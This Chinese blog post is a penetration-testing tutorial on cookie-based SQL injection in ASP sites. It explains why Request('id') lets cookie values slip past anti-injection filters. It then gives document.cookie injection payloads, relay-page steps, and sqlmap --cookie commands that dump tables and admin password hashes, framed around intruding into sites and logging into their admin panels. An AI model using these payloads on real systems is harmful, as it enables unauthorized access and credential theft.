2019年2月11日 (滲透--摘錄1) cookie注入
拋開中轉工具直接搞定Cookie注入
最近在翻看危險漫步博客的時候,拜讀了一篇關於Cookie注入的文章,受益良多。文中詳細解析了Cookie注入漏洞存在的原因以及多種利用方法,非常適合大家來學習進步,但是我總感覺不夠完善,今天我就來補充一下。
想想看,大家平時在入侵中碰到Cookie注入漏洞的時候,多半采用的利用方法就是用”寂寞的刺蝟”寫的那款”注入中轉生成器”來生成一個ASP頁面。
然后將生成的頁面文件放在ASP環境下,構造出合適的url就可以直接注入了。方法雖然不是很復雜,但是有的時候,專門為了一個注入漏洞來搭建一個ASP環境也挺不方便的。
一、工具的簡單介紹
這里我就給大家介紹一款工具,可以直接搞定大部分Cookie注入漏洞,避免了因需要搭建ASP環境而帶來的麻煩。
工具名稱:鬼客、cookie全自動SQL注入工具
二、實踐演示
搭站,經分析得知,存在cookie注入漏洞的頁面是網站根目錄下的news_more.asp文件,我們在網站中找到類似的鏈接,習慣性地在該地址后面添加一個單引號,彈出了防注入警告,繼續提交-0和-1,分別返回了不同的頁面。猜測該頁面存在Cookie注入漏洞。
接下來打開鬼客,填寫注入網址框、變量框、值框,填寫連接類型和特征字符。連接類型指該注入點是數字型還是字符型注入點,關於怎么判斷我就不多說了,無非是單引號符號閉合的問題,單純看數字還是字母有時候不是那么准確。特征字符指當前頁面存在而報錯頁面不存在的、可以起到區分作用的字符串。
填寫好之后點擊檢測按鈕,稍等一會,工具左下方提示存在注入。開始注入,點擊檢測表段,工具就開始用字典暴力破解表段了。。。左下方提示檢測表段完成,檢測出表段ADMIN;選中ADMIN,檢測字段;檢測內容。
有時候得到的密碼可能是經過加密的,那時候就需要相應的查詢解密。接下來是去后台測試注入到的賬號密碼是否正確,找到后台管理登錄進去。
Cookie注入原理以及cookie中轉注入
ASP中的Request對象
用來獲取客戶端提交的數據
集合 |
描述 |
ClientCertificate |
包含了存儲於客戶證書中的域值(field values) |
Cookies |
包含了HTTP請求中發送的所有的cookie值 |
Form |
包含了使用post方法由表單發送的所有的表單(輸入)值 |
QueryString |
包含了HTTP查詢字符串中所有的變量值 |
ServerVariables |
包含了所有的服務器變量值 |
使用方法一般是:request.[集合名稱] (參數名稱),比如獲取從表單中提交的數據時可以這樣寫:request.form(“參數名稱”),但ASP中規定也可以省略集合名稱,直接用這樣的方式獲取數據:request(“參數名稱”),當使用這樣的方式獲取數據時,ASP規定是按QueryString、Form、Cookies、ServerVariables的順序來獲取數據的。
我們來研究一下怎樣情況下才會有Cookie注入
如果你學過ASP,你應該會知道Request.QueryString(GET)或Request.Form(POST)
備注:客戶端向服務器提交HTTP請求,兩種HTTP請求方法GET和POST
·GET -從指定的資源請求數據
·POST -向指定的資源提交要被處理的數據
這就是我們用於讀取用戶發給Web服務器的指定鍵中的值
我們有時為了簡化代碼,會寫成 ID=Request(“ID”)
這樣寫法是簡單了,但問題就來了
Web服務器是先取GET中的數據,沒有再取POST中的數據,還是會取Cookies中的數據
防注入系統會檢測GET和POST中的數據,如果有特殊字符(這里當然有特殊字符啦),就禁止數據的提交,但防注入系統沒有檢測cookies中的數據
這樣,當我們使用request(“參數名稱”)方式獲取客戶端提交的數據,並且沒有對使用request.cookies(“參數名稱”)方式提交的數據進行過濾時,Cookie注入就產生了。
注入步驟:
一、判斷是否有Cookie注入漏洞
目標URL “http://www.xxx.com/x.asp?id=xxx”,首先去掉”id=xxx”,查看頁面顯示是否正常,如果不正常,說明參數在數據傳遞中有用,接着清空瀏覽器地址欄,輸入
javascript:alert(document.cookie=”id=”+escape(“123”)); 回車 //將123保存在cookie的ID中
會看到彈出一個對話框,內容是id=123
之后,你刷新一個網頁,如果正常顯示,表示該網頁是用Request(“ID”)這樣的格式獲取客戶端提交的數據,這樣就可以嘗試進行cookie注入。
在瀏覽器地址欄輸入
javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”)); 回車
刷新目標頁面,如果正常顯示,可以再試下一步(如果不正常,則有可能被過濾掉了)
javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”)); 回車
刷新目標頁面,如果未正常顯示,就說明存在cookie注入漏洞。
注:如果程序員是用Request.QueryString或Request.Form獲取客戶端提交的數據的話,是無法利用cookie繞過防注入系統進行注入的,因為服務器程序直接從GET或POST中讀取數據,並不會去讀cookie中的數據,所以無法利用。
二、利用cookie中轉注入
· 手工注入,打開寂寞的刺蝟寫的注入中轉生成器,選擇cookie注入
填寫 注入鍵名、注入URL地址、來源頁、POST提交值jmdcw=xxx
點擊生成ASP頁面,得到jmCook.asp
然后將生成的頁面文件放在ASP環境(wwwroot目錄)下,安裝
看到右下角一閃一閃的圖標,表示web服務器正運行中
//搭建ASP環境的工具為netbox
構造出合適的url(http://127.0.0.1:端口號/jmCook.asp?jmdcw=xxx)
然后使用明小子或者啊D填寫構造好的url,就可以注入成功了。
· ASP手工注入輔助工具 v1.3
填寫 注入點、變量、ID號,點擊中轉按鈕,會生成新的url,
打開明小子,利用這個url做sql注入檢測。
或使用sqlmap直接做cookie注入,不用中轉。
備注:例如目標網站為:http://www.xxx.com/x.asp?id=1,則sqlmap命令為sqlmap.py -u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2
sqlmap做cookie注入獲取表段、字段、字段中的值
- cookie注入,獲取表段
Do you want to URL encode cookies values (implementation specific)? [Y/n] Y
Cookie parameter ‘id’ is vulnerable. Do you want to keep testing the others(if any)? [y/N] Y
Do you want to use common table existence check? [Y/n/q] Y
Please enter number of threads? [Enter for 1 (current)] 10
Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” ---table --level 2
運行結果為:
Database : Microsoft_Access_xxxdb
[x tables]
+--------+
| xxx |
| xxx |
+--------+
- 獲取字段
Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --columns -T <table name> --level 2
運行結果為:
Database : Microsoft_Access_xxxdb
Table : admin
[x columns]
+----------+-----------+
| column|Type |
+----------+-----------+
| user |numeric |
| id |numeric |
+----------+-----------+
- 獲取字段中的內容
Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --dump -T <table name> -C “字段名1,字段名2” --level 2
Database : Microsoft_Access_xxxdb
Table : admin
[1 entry]
+----------+-----------+
| user |id |
+----------+-----------+
| aaaa |MD5enc |
+----------+-----------+